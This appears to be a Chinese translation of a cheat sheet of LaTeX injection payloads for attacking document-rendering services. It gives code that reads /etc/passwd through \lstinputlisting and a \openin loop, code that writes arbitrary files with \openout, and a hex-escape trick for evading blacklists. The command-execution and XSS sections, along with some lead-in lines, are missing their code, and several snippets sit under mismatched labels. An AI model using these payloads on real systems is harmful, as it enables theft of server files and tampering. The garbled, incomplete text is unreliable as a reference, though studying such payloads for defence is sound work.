LaTeX 注入 (LaTeX Injection)
LaTeX 注入是一种注入攻击,它将恶意内容注入到 LaTeX 文档中。LaTeX 被广泛用于文档准备和排版,特别是在学术界,用于生成高质量的科学和数学文档。由于其强大的脚本编写功能,如果未采取适当的保护措施,LaTeX 可能会被攻击者利用来执行任意命令。
摘要 (Summary)
- 文件操作 (#file-manipulation)
- 命令执行 (#command-execution)
- 跨站脚本攻击 (XSS) (#cross-site-scripting)
- 实验环境 (#labs)
- 参考资料 (#references)
文件操作 (File Manipulation)
读取文件 (Read File)
攻击者可以读取服务器上的敏感文件内容。
读取文件并解释其中的 LaTeX 代码:
读取单行文件:
读取多行文件:
\lstinputlisting{/etc/passwd}
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
读取文本文件,而不解释内容,它只会粘贴原始文件内容:
如果注入点位于文档头部之后(无法使用 \usepackage),可以停用某些控制字符,以便在包含 $、#、_、&、空字节等字符的文件上使用 \input(例如:Perl 脚本)。
要绕过黑名单,尝试将一个字符替换为其 Unicode 十六进制值。
^^41代表大写 A^^7E代表波浪号 (~) 注意 'e' 必须是小写
写入文件 (Write File)
写入单行文件:
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\write\outfile{Line 2}
\write\outfile{I like trains}
\closeout\outfile
命令执行 (Command Execution)
命令的输出将被重定向到标准输出 (stdout),因此你需要使用临时文件来获取它。
如果你遇到任何 LaTeX 错误,考虑使用 base64 来获取没有错误字符的结果(或使用 \verbatiminput):
跨站脚本攻击 (Cross Site Scripting)
来自 @EdOverflow
在 mathjax 中